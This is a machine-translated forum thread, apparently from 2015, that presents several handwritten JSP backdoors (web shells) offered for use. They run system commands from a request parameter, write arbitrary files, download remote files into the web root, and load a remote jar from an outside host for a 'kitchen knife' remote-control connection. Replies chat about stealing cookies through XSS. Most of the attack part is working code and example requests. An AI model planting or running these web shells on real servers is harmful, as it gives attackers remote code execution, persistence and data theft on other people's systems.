This article is a mirror article of machine translation, please click here to jump to the original article.

View: 14991|Reply: 7

[Security Tools] handwritten jsp backdoor

[Copy link]
Posted on 1/2/2015 6:46:57 PM | | | |
Transferred from: http://p2j.cn/?p=1627
1. Execute system commands:
Execute system commands without echo:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
Request: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls
There will be no echo after execution, which is very convenient for bounce shells.
There are echoes with password verification:
<%    if("023".equals(request.getParameter("pwd"))){        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();        int a = -1;        byte[] b = new byte[2048];        out.print("<pre>");        while((a=in.read(b))!=-1){            out.println(new String(b));        }        out.print("</pre>");    }%>
Request: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls

2. Encode the string and write it to the specified file:
1:
<%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%>
Request: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234
Write to the web directory:
<%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes());%>
Request: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234
2:
<%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>
Request: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234
Write to the web directory:
<%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>
Request: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234
3: Download the remote file (if you don't use apache io utils, you can't convert the inputstream to byte, so it's very long...)
<%    java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();    byte[] b = new byte[1024];    java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();    int a = -1;    while ((a = in.read(b)) != -1) {        baos.write(b, 0, a);    }    new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %>
Request: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png
Download to the web path:
<%    java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();    byte[] b = new byte[1024];    java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();    int a = -1;    while ((a = in.read(b)) != -1) {        baos.write(b, 0, a);    }    new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %>
Request: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png
Four: Reflection calls the external jar, perfect the back door
If you dislike the above backdoor function is too weak and outdated, you can try this:
<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%>
Request: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A

Kitchen knife connection: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, password 023.

Solution:
Use reflection to load an external jar into the current application, and reflection executes the output processing result. request.getParameterMap() contains all the parameters requested. Since the external jar package is loaded, the server must be able to access this jar address.




Previous:The crisis behind the TXT text file
Next:Java MD5 encryption, Base64 encryption and decryption Java executes system command source code
Posted on 1/2/2015 8:17:30 PM |
Recently researching jsp backdoor?
 Landlord| Posted on 1/2/2015 8:39:44 PM |
admin posted on 2015-1-2 20:17
Recently researching jsp backdoor?

Have you ever seen jsp in one sentence? I found it, I didn't study it deeply, I didn't understand xss, I finally got the cookies yesterday, and I don't know how to modify the cookie upload
Posted on 1/2/2015 8:44:40 PM |
Delver_Si Posted on 2015-1-2 20:39
Have you ever seen jsp in one sentence? I found it, I didn't dig deeper, I didn't understand xss, I finally got the cookies yesterday, I don't know how to modify the cooki...

It won't be my cookies stolen with a personalized signature file,,,

Use Firefox's HackBar plugin
Posted on 1/2/2015 8:48:57 PM |
Delver_Si Posted on 2015-1-2 20:39
Have you ever seen jsp in one sentence? I found it, I didn't dig deeper, I didn't understand xss, I finally got the cookies yesterday, I don't know how to modify the cooki...

Ghost Brother Multifunctional Browser v1.0


鬼哥多功能浏览器v1.0.exe (72 KB, Number of downloads: 7, Selling price: 1 Grain MB)
 Landlord| Posted on 1/2/2015 8:57:50 PM |
admin posted on 2015-1-2 20:44
It won't be my cookies stolen with a personalized signature file,,,

Use Firefox's HackBar plugin

Yesterday, the free door was convulsive, and I couldn't connect, and I couldn't enter the Firefox store.
 Landlord| Posted on 1/2/2015 8:59:01 PM |
admin posted on 2015-1-2 20:44
It won't be my cookies stolen with a personalized signature file,,,

Use Firefox's HackBar plugin

dz doesn't have this loophole
Posted on 1/2/2015 9:00:22 PM |
Delver_Si Posted on 2015-1-2 20:59
dz doesn't have this loophole

I don't know, you can test it, don't mess up my database   

We all use Tor Browser to get around the wall

Disclaimer:
All software, programming materials or articles published by Code Farmer Network are only for learning and research purposes; The above content shall not be used for commercial or illegal purposes, otherwise, users shall bear all consequences. The information on this site comes from the Internet, and copyright disputes have nothing to do with this site. You must completely delete the above content from your computer within 24 hours of downloading. If you like the program, please support genuine software, purchase registration, and get better genuine services. If there is any infringement, please contact us by email.

Mail To:help@itsvse.com